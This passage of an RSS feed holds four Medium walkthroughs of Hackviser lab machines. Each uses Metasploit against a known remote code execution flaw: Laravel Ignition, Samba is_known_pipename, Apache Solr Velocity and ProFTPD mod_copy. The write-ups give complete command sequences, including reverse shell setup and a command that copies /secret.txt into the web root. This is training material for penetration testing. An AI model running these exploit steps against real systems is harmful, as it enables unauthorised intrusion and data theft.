            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*shz7BK3UwRGpVUw5_HJHkA.png" /></figure><p>Laravel is one of the most widely used PHP frameworks for web applications, and during development many developers enable debugging features to troubleshoot issues faster. One of those components is Ignition, which acts as Laravel’s error page and debugging handler.</p><p>This Hackviser lab focuses on <strong>CVE-2021–3129</strong>, a remote code execution vulnerability affecting vulnerable Laravel applications using the Ignition debug component.</p><p>The target was running a Laravel version below 8.4.2, which made it vulnerable to the public Ignition exploit that eventually gives remote command execution on the server.</p><p>The goal of the lab was simple to <em>Find the secret stored inside </em><em>/secret.txt</em></p><p>This walkthrough follows the exact flow I used while solving the machine, including the small dead ends and reasoning during exploitation.</p><h3>Initial Recon</h3><p>As usual, I started with an Nmap scan against the target machine.</p><pre>nmap -p- -A -sV 172.20.7.65</pre><h3>What these options do</h3><ul><li>-p- → scans all 65535 TCP ports</li><li>-A → enables aggressive detection like OS detection, service detection, traceroute, and NSE scripts</li><li>-sV → detects service versions running on open ports</li></ul><p>The idea here was to avoid missing hidden services running on non-standard ports.</p><p>The scan completed successfully, but honestly it did not reveal anything especially useful immediately. There were no obvious vulnerable services screaming for exploitation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mhAewb12neq2XKbuU6HDMg.png" /></figure><p>At this point, the lab description mentioning Laravel and CVE-2021–3129 became the biggest clue. Since the vulnerability was already known, the next logical step was checking whether public exploits already existed.</p><h3>Moving to Metasploit</h3><p>To speed things up, I switched to Metasploit.</p><p>Metasploit is a penetration testing framework that contains a huge collection of exploits, payloads, scanners, and post-exploitation modules. Instead of manually writing exploit code, you can often use existing modules and focus on validating and exploiting the target.</p><p>I launched Metasploit using:</p><pre>msfconsole</pre><p>Once loaded, I searched for Laravel-related exploits.</p><pre>search type:exploit Laravel</pre><p>This searches Metasploit’s exploit database for modules related to Laravel.</p><p>The results showed multiple modules, but the one that immediately matched the vulnerability mentioned in the lab was:</p><pre>exploit/multi/php/ignition_laravel_debug_rce</pre><p>It also referenced the 2021 disclosure timeline, which matched CVE-2021–3129 perfectly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y4Cp75RvEDDLtG6wxyHl-w.png" /></figure><h3>Selecting the Exploit</h3><p>I loaded the exploit module using:</p><pre>use exploit/multi/php/ignition_laravel_debug_rce</pre><p>You can also load it directly by index number from the search results:</p><pre>use 7</pre><p>After selecting the module, I checked what configuration values were required.</p><pre>show options</pre><p>This is important because Metasploit modules usually require target-specific values before execution.</p><p>The important options here were:</p><ul><li>RHOST</li><li>LHOST</li></ul><h3>Configuring the Exploit</h3><h4>RHOST</h4><p>RHOST refers to the target machine IP address we want to attack.</p><p>In this case:</p><pre>set RHOST 172.20.7.65</pre><h4>LHOST</h4><p>LHOST is our own machine’s IP address.<br>This is where the reverse shell connection comes back after exploitation succeeds.</p><pre>set LHOST 172.20.7.94</pre><p>Without setting the correct LHOST, the target may successfully execute the payload but fail to connect back to us.</p><p>After configuring both values, the module was ready.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ch6aXsgA8XLS74gO3dqfSw.png" /></figure><h3>Running the Exploit</h3><p>With everything configured, I executed the module.</p><pre>run</pre><p>A few seconds later, the exploit completed successfully and Metasploit returned:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SRtDA6Ni4kZHqLNAe-2dsg.png" /></figure><p>This confirmed that the target executed our payload successfully and opened a reverse shell connection back to my machine.</p><p>At this point, I had remote command execution on the server.</p><h3>Exploring the Target System</h3><p>The next objective was locating the secret.txt file.</p><p>First, I checked the current working directory.</p><pre>pwd</pre><p>Output:</p><pre>/var/www/html</pre><p>This made sense because Laravel applications are typically hosted inside /var/www/html.</p><p>I started manually checking folders from there expecting the flag to maybe exist somewhere inside the web root, but after going through multiple directories, I still could not find secret.txt.</p><p>That was the first small dead end during the lab.</p><p>Instead of continuing to search randomly inside the Laravel application directories, I stepped back and checked the filesystem root directly.</p><p>I moved back to the root directory using:</p><pre>cd /</pre><p>Then listed the contents.</p><pre>ls</pre><p>Output:</p><pre>bin<br>boot<br>dev<br>etc<br>home<br>lib<br>lib64<br>media<br>mnt<br>opt<br>proc<br>root<br>run<br>sbin<br>secret.txt<br>srv<br>sys<br>tmp<br>usr<br>var</pre><p>This immediately revealed the target file sitting directly under /.</p><p>Honestly, this was one of those moments where the file was much simpler to locate than expected. I initially assumed the flag would be hidden somewhere inside the Laravel application structure.</p><h3>Reading the Secret File</h3><p>Finally, I used cat to read the file contents.</p><pre>cat secret.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*JQ3-UzNXEKN4MOqSIlWYNQ.png" /></figure><h3>Final Thoughts</h3><p>This Hackviser lab was a straightforward but good demonstration of how dangerous exposed debug functionality can become in production environments.</p><p>The interesting part here was not complicated payload crafting or manual exploitation logic. The real lesson was understanding how quickly a misconfigured Laravel debug environment can turn into full Remote Code Execution using publicly available tooling.</p><p>A few things stood out during the process:</p><ul><li>The initial Nmap scan did not reveal much useful information</li><li>The lab description itself became the strongest enumeration clue</li><li>Metasploit significantly simplified exploitation</li><li>Correct LHOST configuration was essential for getting the reverse shell</li><li>The flag location turned out simpler than expected after initially searching the web directories</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=80c7236e8a0e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting Samba RCE (CVE-2017–7494) | Hackviser Labs Walkthrough]]></title>
            <link>https://medium.com/@manohar017manu/exploiting-samba-rce-cve-2017-7494-hackviser-labs-walkthrough-0f009a47b1a8?source=rss-a07763673935------2</link>
            <guid isPermaLink="false">https://medium.com/p/0f009a47b1a8</guid>
            <category><![CDATA[hackviser]]></category>
            <category><![CDATA[cve-2017-vulnerability]]></category>
            <category><![CDATA[cve-2017-7494]]></category>
            <category><![CDATA[remote-code-execution]]></category>
            <category><![CDATA[samba-rce]]></category>
            <dc:creator><![CDATA[Manohar T H]]></dc:creator>
            <pubDate>Thu, 14 May 2026 02:21:00 GMT</pubDate>
            <atom:updated>2026-05-14T02:21:00.624Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*JmUgS5QhvIjDlpMZl-Vk3w.png" /></figure><p>Samba is one of the most commonly used services in Linux environments for file and printer sharing. Because of how widely it is deployed, vulnerabilities in Samba can become extremely dangerous when exposed internally or externally.</p><p>In this Hackviser lab, the target was vulnerable to <strong>CVE-2017–7494</strong>, a remote code execution vulnerability affecting Samba versions between 3.5.0 and 4.6.4. The objective was simple: gain access to the target machine and retrieve the contents of /secret.txt.</p><p>This walkthrough follows the exact investigation process I used while solving the lab, including the observations, payload choices, and why certain steps were taken during exploitation.</p><h3>Initial Recon</h3><p>As usual, I started with a full Nmap scan against the target.</p><pre>nmap -p- -A -sV 172.20.19.172</pre><h3>Why these flags?</h3><ul><li>-p- → scan all 65535 ports</li><li>-A → enable OS detection, scripts, and traceroute</li><li>-sV → detect service versions</li></ul><p>The scan returned:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_NtahsG8mMjG7WT4Cd_xQQ.png" /></figure><p>At this point, port 445 immediately stood out.</p><p>That immediately stood out because the lab description itself mentioned a vulnerable Samba range that includes version 4.6.3.</p><p>So instead of spending time enumerating SSH or looking for weak credentials, I shifted directly toward Samba exploitation.</p><h3>Searching for a Samba Exploit in Metasploit</h3><p>Since this vulnerability is well-known and already has public exploit modules available, I decided to use Metasploit first before attempting any manual exploitation.</p><p>I launched Metasploit:</p><pre>msfconsole</pre><p>Then searched for Samba-related exploits:</p><pre>search type:exploit samba</pre><p>This returned several Samba modules.</p><p>After checking the results, the module matching this vulnerability was:</p><pre>exploit/linux/samba/is_known_pipename</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OmfZH5GcobOdFg0DtdbEvA.png" /></figure><p>This module specifically targets the vulnerable Samba pipe handling issue related to CVE-2017–7494.</p><p>The module name looks a little unusual at first, but this exploit abuses how vulnerable Samba versions handle named pipes and shared libraries, eventually leading to remote code execution.</p><h3>Selecting the Exploit Module</h3><p>I loaded the exploit using:</p><pre>use exploit/linux/samba/is_known_pipename</pre><p>Before blindly setting values, I checked the required configuration options.</p><pre>show options</pre><p>This is an important habit during exploitation because every Metasploit module expects slightly different parameters.</p><p>The main options required here were:</p><ul><li>RHOST</li><li>LHOST</li><li>payload</li></ul><h3>Configuring the Exploit</h3><h4>What is RHOST?</h4><p>RHOST means <strong>Remote Host</strong>.</p><p>This is simply the target machine we want to attack.</p><pre>set RHOST 172.20.19.172</pre><h4>What is LHOST?</h4><p>LHOST means <strong>Local Host(</strong>my own attacking machine IP).</p><p>This tells the payload where to connect back after successful exploitation. In reverse shell scenarios, the victim machine needs to know where the attacker is listening.</p><pre>set LHOST 172.20.19.53</pre><h4>Checking Payloads</h4><p>I checked available payloads using:</p><pre>show payloads</pre><p>Interestingly, this module only exposed one payload option:</p><pre>payload/cmd/unix/interact</pre><p>So I kept the default payload and configured it explicitly anyway:</p><pre>set payload payload/cmd/unix/interact</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4-KDbR_nVHXMuBd8lDNdNw.png" /></figure><h4>Why this payload?</h4><p>This payload gives an interactive Unix command shell directly after exploitation. Since the goal of the lab was simply to retrieve a file from the system, a lightweight command shell was more than enough.</p><p>No need for Meterpreter or anything more advanced here.</p><h3>Running the Exploit</h3><p>Once everything was configured, I launched the exploit.</p><pre>run</pre><p>After a few seconds, Metasploit returned:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g_oC1mMPRKGAUPTzEr14oQ.png" /></figure><p>That message confirmed the exploit worked successfully and an interactive shell session was opened on the target machine.</p><p>At this stage, we essentially had remote command execution on the vulnerable Samba server.</p><h3>Enumerating the Target</h3><p>First thing I checked was the current working directory:</p><pre>pwd</pre><p>Output:</p><pre>/tmp</pre><p>Pretty normal for temporary exploit execution.</p><p>I moved one directory back and listed files:</p><pre>cd ..<br>ls</pre><p>While checking the directory contents, I noticed:</p><pre>secret.txt</pre><p>That was the target file mentioned in the lab objective.</p><p>So I simply read its contents using:</p><pre>cat secret.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*q1crpJuPkYFpBu-0sB_Wdg.png" /></figure><p>The file contained the required secret value for the challenge.</p><h3>Final Thoughts</h3><p>This lab was a straightforward example of how dangerous exposed Samba services can become when vulnerable versions are running internally or externally.</p><p>A few things stood out during the process:</p><ul><li>The Nmap version detection saved a lot of time</li><li>Matching the Samba version directly against the CVE description quickly narrowed the attack path</li><li>Using show options and show payloads helped avoid misconfigurations during exploitation</li><li>The default payload was enough because the objective only required command execution and file access</li></ul><p>One small thing I noticed while solving the lab was how easy it is to accidentally choose the wrong Metasploit module when multiple Samba exploits appear in search results. Taking a moment to verify the affected version range prevents wasting time debugging failed exploit attempts.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0f009a47b1a8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting Apache Solr Using Metasploit Framework — Hackviser Question Walkthrough]]></title>
            <link>https://medium.com/@manohar017manu/exploiting-apache-solr-using-metasploit-framework-hackviser-question-walkthrough-b5ab4b6f1609?source=rss-a07763673935------2</link>
            <guid isPermaLink="false">https://medium.com/p/b5ab4b6f1609</guid>
            <category><![CDATA[apache-solr]]></category>
            <category><![CDATA[exploiting-apache-solar]]></category>
            <category><![CDATA[hackviser]]></category>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[metasploitable]]></category>
            <dc:creator><![CDATA[Manohar T H]]></dc:creator>
            <pubDate>Mon, 11 May 2026 01:46:00 GMT</pubDate>
            <atom:updated>2026-05-11T01:46:00.493Z</atom:updated>
            <content:encoded><![CDATA[<p>Apache Solr is one of the most widely used enterprise search platforms built on top of Apache Lucene. While it is designed for high-performance indexing and searching, misconfigured or outdated Solr instances can expose critical security vulnerabilities that attackers may exploit for Remote Code Execution (RCE).</p><p>In this Hackviser Question walkthrough, we will solve a Metasploit-based challenge where the objective is to identify the active username and favorite book specified in the /home/favorite_book.txt from the target machine after gaining shell access.</p><h3>Lab Objective</h3><p>The goal of this Hackviser question is:</p><blockquote><em>What is the username of the active user obtained from the shell on the target system?</em></blockquote><p>and</p><blockquote>What is the name of the favorite book specified in the “/home/favorite_book.txt” file?</blockquote><p>We will achieve this by:</p><ul><li>Performing reconnaissance using Nmap</li><li>Identifying exposed services</li><li>Finding a vulnerable Apache Solr service</li><li>Using Metasploit to exploit the vulnerability</li><li>Gaining Meterpreter shell access</li><li>Extracting the current system username and book name</li></ul><h3>Step 1: Scanning the Target Using Nmap</h3><p>The first step in every penetration testing process is enumeration. Enumeration helps us identify open ports, running services, versions, and possible attack surfaces available on the target machine.</p><p>For this task, we use Nmap to scan the target system.</p><pre>nmap -p- -sV 172.20.7.202</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GLH7bxtNREmOwL25Bi44nA.png" /></figure><p>Among all the discovered services, the most interesting one is <strong>8983/tcp open http Apache Solr</strong></p><h4>Why Apache Solr on Port 8983 is Important</h4><p>Apache Solr is a popular open-source search platform built on Java. It is widely used in enterprise environments for indexing and searching data. However, Solr has historically been associated with multiple security vulnerabilities, especially when exposed without proper authentication or misconfigured APIs.</p><p>Port 8983 is the default web interface for Solr. If exposed to the network, it often allows attackers to interact with administrative endpoints, configuration panels, or vulnerable API features. This makes it a high-value target during penetration testing and in Hackviser labs,questions scenarios.</p><p>Because of its history of remote code execution vulnerabilities and misconfigurations, I decided to investigate this service further.</p><h3>Step 2: Introduction to Metasploit Framework</h3><p>Now that we identified Apache Solr, the next step is checking whether any public exploits are available.</p><p>For this, we use Metasploit Framework.</p><p>Metasploit is one of the most powerful penetration testing frameworks used by ethical hackers and security professionals. It contains thousands of exploits, payloads, scanners, and post-exploitation modules that help automate penetration testing tasks.</p><blockquote>You can learn more about Metasploit Framework in detail here:<br><a href="https://medium.com/@manohar017manu/metasploit-framework-a-beginner-friendly-guide-to-one-of-the-most-powerful-cybersecurity-tools-26af7b1844b3"> metasploit-framework-a-beginner-friendly-guide-to-one-of-the-most-powerful-cybersecurity-tools</a></blockquote><p>To start Metasploit, run:</p><pre>msfconsole</pre><h3>Step 3: Searching for Exploits in Apache Solr</h3><p>After launching Metasploit, the next step was to search for known exploits related to Apache Solr.</p><p>The command used:</p><pre>msf &gt; search type:exploit Solr</pre><p>This returned multiple exploit modules related to Solr, including:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jl2gqnKXf6226iVs7dW-tA.png" /></figure><p>Among these, the most relevant exploit was <strong><em>exploit/multi/http/solr_velocity_rce</em></strong></p><h4>Why This Exploit Was Chosen</h4><p>This particular exploit targets a known Remote Code Execution vulnerability in Apache Solr through the Velocity template engine.</p><p>The vulnerability allows attackers to inject malicious Velocity templates that execute arbitrary commands on the server. In simple terms, the attacker can force the target server to run system commands remotely.</p><p>This makes it an ideal exploit for gaining initial access to the target machine.</p><h3>Step 4: Configuring and Launching the Exploit</h3><p>After selecting the appropriate exploit module. we can use the bellow command :</p><pre>use exploit/multi/http/solr_velocity_rce</pre><p>Once inside the module, several configuration parameters needed to be set. These parameters define how the attack will be executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LAAWWPyRY_VSElqyX6qeeg.png" /></figure><p><strong>The key options configured were:</strong></p><p><strong>RHOST </strong>— This represents the target machine IP address.</p><pre>set RHOST 172.20.7.202</pre><p><strong>RPORT</strong> — This defines the target service port. Since Solr was running on port 8983, it was set accordingly.</p><pre>set RPORT 8983</pre><p><strong>LHOST </strong>— This is the our local machine IP address, which is required for receiving the reverse connection.</p><pre>set LHOST 172.20.7.30</pre><p><strong>LPORT</strong> — This is the listening port on the attacker machine used to establish a reverse shell connection.</p><pre>set LPORT 4444</pre><p>To view all required options for the exploit, the following command is used,This helps ensure that no critical parameter is missed before launching the attack:</p><pre>show options</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ru0LQZR1pbMOW0GVTAIGtw.png" /></figure><h3>Step 5: Gaining Meterpreter Access</h3><p>After configuring everything correctly, run the exploit.</p><pre>run</pre><p>Once the exploit is executed successfully, Metasploit provides a session on the target machine. In most cases, this session is a Meterpreter shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m7upV4-0HJ8zrmXH7Tm6uw.png" /></figure><p>Meterpreter is an advanced payload within Metasploit that provides a powerful command-line interface on the compromised system. Unlike a basic shell, Meterpreter runs in memory and allows advanced post-exploitation operations such as file system access, privilege escalation, and system information gathering.</p><p>Once the session opens, we can interact with the compromised system.</p><h3>Step 6: Identifying the Active User</h3><p>To identify the currently active user on the compromised system we can use bellow command:</p><pre>getuid</pre><p>The output revealed the required username:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*xydYUnKWOsy1_ueMBie2aQ.png" /></figure><h3>Step 7: Finding the Favorite Book File</h3><p>Now we move to next Question.</p><p>The challenge specifically mentions a file located at <strong>/home/favorite_book.txt</strong></p><p>At this stage, we already have shell-level access to the machine, which means we can navigate through directories and interact with files just like a normal Linux user, depending on the permissions assigned to our current session.</p><h4>Navigating to the /home Directory</h4><p>The first thing we do is move into the /home directory using the following command:</p><pre>meterpreter &gt; cd /home</pre><h4>Listing Files Inside the Directory</h4><p>Once inside /home, the next step is to identify available files and folders. We do this using:</p><pre>meterpreter &gt; ls</pre><p>The ls command stands for “list,” and it displays all files and directories present in the current location.</p><p>In this list we can see the file named <strong>favorite_book.txt</strong> from which we need read the book name</p><h4>Reading the File Contents</h4><p>To read the file, we use the cat command.</p><pre>meterpreter &gt; cat favorite_book.txt</pre><p>When the command executes successfully, the contents of the file are printed directly to the screen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*c6dUuant3m9xiOovoB2Okw.png" /></figure><h3>What We Learned From This Hackviser Lab</h3><p>This Hackviser Labs question is an excellent beginner-friendly exercise because it teaches multiple important penetration testing concepts in a single challenge.</p><p>In this walkthrough, we learned:</p><ul><li>How to scan systems using Nmap</li><li>How to identify exposed services</li><li>Why Apache Solr can be dangerous when vulnerable</li><li>How to search for exploits using Metasploit</li><li>How to configure exploit parameters properly</li><li>How Meterpreter works</li><li>How to navigate the target system after exploitation</li><li>How to retrieve sensitive information from compromised machines</li></ul><p>These are foundational skills for anyone learning ethical hacking, penetration testing, or red teaming.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b5ab4b6f1609" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting ProFTPD 1.3.5 Remote Code Execution (CVE-2015–3306) — Hackviser Walkthrough]]></title>
            <link>https://medium.com/@manohar017manu/exploiting-proftpd-1-3-5-remote-code-execution-cve-2015-3306-hackviser-walkthrough-dfd43a24b73a?source=rss-a07763673935------2</link>
            <guid isPermaLink="false">https://medium.com/p/dfd43a24b73a</guid>
            <category><![CDATA[proftpd]]></category>
            <category><![CDATA[remote-code-execution]]></category>
            <category><![CDATA[hackviser]]></category>
            <category><![CDATA[proftpd-rce]]></category>
            <category><![CDATA[cve-2015-3306]]></category>
            <dc:creator><![CDATA[Manohar T H]]></dc:creator>
            <pubDate>Fri, 08 May 2026 17:51:46 GMT</pubDate>
            <atom:updated>2026-05-08T17:51:46.026Z</atom:updated>
            <content:encoded><![CDATA[<h3>Lab Challenge:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*_KIZj-cLsFlm6deFsdEgRQ.png" /></figure><p>While solving this Hackviser lab, the goal was straightforward, retrieve the secret stored inside /secret.txt.</p><p>The machine exposed an old version of ProFTPD, which immediately became the main attack surface. The interesting part of this lab was that exploitation technically succeeded on the first try, but the expected shell session never appeared. That forced me to slow down, inspect what was actually happening behind the exploit, and adjust the approach instead of blindly retrying payloads.</p><p>This walkthrough follows the exact investigation flow I used during the lab.</p><h3>Initial Enumeration</h3><p>The first step was basic reconnaissance using Nmap.</p><pre>nmap -p- -A -sV 172.20.47.185</pre><h3>Why these flags?</h3><ul><li>-p- scans all 65535 ports instead of just the top common ports</li><li>-A enables OS detection, version detection, and default NSE scripts</li><li>-sV performs service version detection</li></ul><p>The scan returned:</p><pre>PORT   STATE SERVICE VERSION<br>21/tcp open  ftp     ProFTPD 1.3.5<br>22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)<br>80/tcp open  http    Apache httpd 2.4.62 ((Debian))</pre><pre>|_http-title: Apache2 Debian Default Page: It works<br>|_http-server-header: Apache/2.4.62 (Debian)</pre><p>At this stage, the FTP service immediately stood out.</p><p>The version was:</p><pre>ProFTPD 1.3.5</pre><p>That version is well known for:<strong> CVE-2015–3306</strong></p><p>The presence of Apache on port 80 also looked useful because many ProFTPD exploits abuse writable web directories to execute PHP payloads through the web server.</p><p>So instead of spending time enumerating the default Apache page, I shifted focus directly toward the FTP service.</p><h3>Searching for a Matching Exploit</h3><p>Since the lab specifically involved ProFTPD 1.3.5, I moved into Metasploit.</p><pre>msfconsole</pre><p>Then searched for available ProFTPD modules.</p><pre>search ProFTPD</pre><p>Among the results, the important one was:</p><pre>exploit/unix/ftp/proftpd_modcopy_exec</pre><p>This module targets the vulnerable mod_copy functionality in ProFTPD.</p><p>The vulnerability allows attackers to abuse FTP copy commands to place malicious files into locations they normally should not control.</p><h3>Loading the Exploit</h3><p>I loaded the exploit module:</p><pre>use exploit/unix/ftp/proftpd_modcopy_exec</pre><p>Before configuring anything, I checked the required options.</p><pre>show options</pre><p>This is important because Metasploit modules often require environment-specific values.</p><p>The important parameters here were:RHOSTS, SITEPATH, CMD, payload</p><h3>Setting the Target</h3><p>First, I configured the target IP.</p><pre>set RHOSTS 172.20.47.185</pre><h3>What is RHOSTS?</h3><p>RHOSTS tells Metasploit which target machine to attack.</p><p>Without this, the exploit module does not know where to send the malicious FTP requests.</p><h3>Choosing the Payload</h3><p>Next, I checked the available payloads.</p><pre>show payloads</pre><p>A large number of reverse shell and bind shell payloads appeared:</p><pre>payload/cmd/unix/reverse_netcat<br>payload/cmd/unix/reverse_perl<br>payload/cmd/unix/reverse_python<br>payload/cmd/unix/generic</pre><p>Initially, reverse shells may seem like the obvious choice. But in labs like this, reverse payloads often fail because the target may not have the required binaries installed.</p><p>For example:</p><ul><li>netcat may not exist</li><li>perl may be missing</li><li>outbound connections may fail</li><li>payload execution may be restricted</li></ul><p>Instead of chasing shell stability issues, I chose the simpler option:</p><pre>set payload cmd/unix/generic</pre><h3>Why cmd/unix/generic worked better here</h3><p>This payload does not attempt to create an interactive shell.</p><p>It simply executes a Linux command directly on the target system.</p><p>Since the challenge only required reading a file, a command execution payload was enough.</p><p>That made the exploit more reliable and avoided unnecessary complexity.</p><h3>Fixing the Website Path</h3><p>This part took a little troubleshooting.</p><p>The exploit writes a PHP file into the web server directory so Apache can execute it.</p><p>Initially, the default path did not work properly.</p><p>The module expected:</p><pre>/var/www</pre><p>But Apache on this target was serving content from:</p><pre>/var/www/html</pre><p>So I updated the site path manually.</p><pre>set SITEPATH /var/www/html</pre><p>This was an important observation because if the payload gets written into the wrong directory, the PHP file never becomes accessible through the browser.</p><h3>Allowing the Exploit to Continue</h3><p>Next:</p><pre>set AllowNoCleanup true</pre><h3>Why this mattered</h3><p>Normally, the module tries to clean up temporary payload files after execution.</p><p>In this case, I actually wanted the generated file to remain accessible because I planned to write the secret into a web-accessible location.</p><p>Allowing no cleanup prevented the exploit from removing artifacts too early.</p><h3>Executing the Command</h3><p>The lab only required retrieving the secret.</p><p>So instead of spawning a shell, I simply copied the contents of /secret.txt into a file inside the Apache web root.</p><pre>set CMD &quot;cat /secret.txt &gt; /var/www/html/out.txt&quot;</pre><h3>Breaking down the command</h3><pre>cat /secret.txt</pre><p>Reads the contents of the secret file.</p><p>Then:</p><pre>&gt; /var/www/html/out.txt</pre><p>Redirects the output into a new file called out.txt inside the web server directory.</p><p>This was the cleanest approach because once the file existed in the web root, I could retrieve it directly over HTTP.</p><h3>Running the Exploit</h3><p>Finally:</p><pre>run</pre><p>Metasploit output:</p><pre>[*] 172.20.47.185:80 - 172.20.47.185:21 - Connected to FTP server<br>[*] 172.20.47.185:80 - 172.20.47.185:21 - Sending copy commands to FTP server<br>[*] 172.20.47.185:80 - Executing PHP payload /fOoe7SK.php<br>[!] 172.20.47.185:80 - This exploit may require manual cleanup of &#39;/var/www/html/fOoe7SK.php&#39; on the target<br>[*] Exploit completed, but no session was created.</pre><p>At first glance, this can look confusing.</p><p>The exploit says:</p><pre>Exploit completed, but no session was created.</pre><p>A beginner might assume the attack failed.</p><p>But the important detail was this line:</p><pre>Executing PHP payload</pre><p>That indicated the PHP payload actually executed successfully.</p><p>The reason no session appeared was because:</p><pre>cmd/unix/generic</pre><p>does not create a Meterpreter shell or reverse connection.</p><p>It only executes the command provided in CMD.</p><p>So technically, the exploit worked exactly as intended.</p><h3>Retrieving the Secret</h3><p>Since the command redirected output into the Apache web directory, the final step was simply accessing the file through HTTP.</p><p>I used curl:</p><pre>curl http://172.20.47.185/out.txt</pre><p>You could also open it directly in the browser:</p><pre>http://172.20.47.185/out.txt</pre><p>The page returned the contents of /secret.txt, completing the lab.</p><h3>Understanding the Full Exploitation Flow</h3><p>Here’s what actually happened behind the scenes:</p><ol><li>The exploit connected to the vulnerable ProFTPD service.</li><li>It abused the vulnerable mod_copy functionality.</li><li>A malicious PHP file was written into the Apache web root.</li><li>Apache executed the PHP payload.</li><li>The payload ran our Linux command:</li></ol><pre>cat /secret.txt &gt; /var/www/html/out.txt</pre><p>6. The secret was saved into a web-accessible file.</p><p>7. The file was retrieved over HTTP.</p><h3>Final Working Configuration</h3><pre>use exploit/unix/ftp/proftpd_modcopy_exec</pre><pre>set RHOSTS 172.20.47.185</pre><pre>set payload cmd/unix/generic</pre><pre>set SITEPATH /var/www/html</pre><pre>set AllowNoCleanup true</pre><pre>set CMD &quot;cat /secret.txt &gt; /var/www/html/out.txt&quot;</pre><pre>run</pre><p>Then retrieve the output:</p><pre>curl http://172.20.47.185/out.txt</pre><p>This was a simple but good reminder that successful exploitation does not always mean getting a shell session. Sometimes direct command execution is the cleaner and more reliable path.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dfd43a24b73a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>